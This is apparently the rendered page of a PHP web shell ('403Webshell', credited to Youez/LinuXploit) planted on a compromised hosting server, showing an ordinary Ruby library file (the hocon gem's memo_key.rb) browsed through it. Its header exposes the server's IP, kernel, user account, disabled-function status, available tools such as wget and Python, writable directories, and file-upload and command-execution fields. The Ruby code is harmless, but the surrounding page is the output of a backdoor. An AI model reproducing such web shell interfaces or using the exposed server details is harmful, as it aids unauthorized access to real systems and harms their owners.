403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.14.135.107
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_gems/gems/hocon-1.3.1/lib/hocon/impl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_gems/gems/hocon-1.3.1/lib/hocon/impl/memo_key.rb
# encoding: utf-8

require 'hocon'
require 'hocon/impl'

class Hocon::Impl::MemoKey

  def initialize(value, restrict_to_child_or_nil)
    @value = value
    @restrict_to_child_or_nil = restrict_to_child_or_nil
  end

  def hash
    h = @value.hash
    if @restrict_to_child_or_nil != nil
      h + 41 * (41 + @restrict_to_child_or_nil.hash)
    else
      h
    end
  end

  def ==(other)
    if other.is_a?(self.class)
      o = other
      if !o.value.equal?(@value)
        return false
      elsif o.restrict_to_child_or_nil.equals(@restrict_to_child_or_nil)
        return true
      elsif o.restrict_to_child_or_nil == nil || @restrict_to_child_or_nil == nil
        return false
      else
        return o.restrict_to_child_or_nil == @restrict_to_child_or_nil
      end
    else
      false
    end
  end

  def to_s
    "MemoKey(#{@value}@#{@value.hash},#{@restrict_to_child_or_nil})"
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit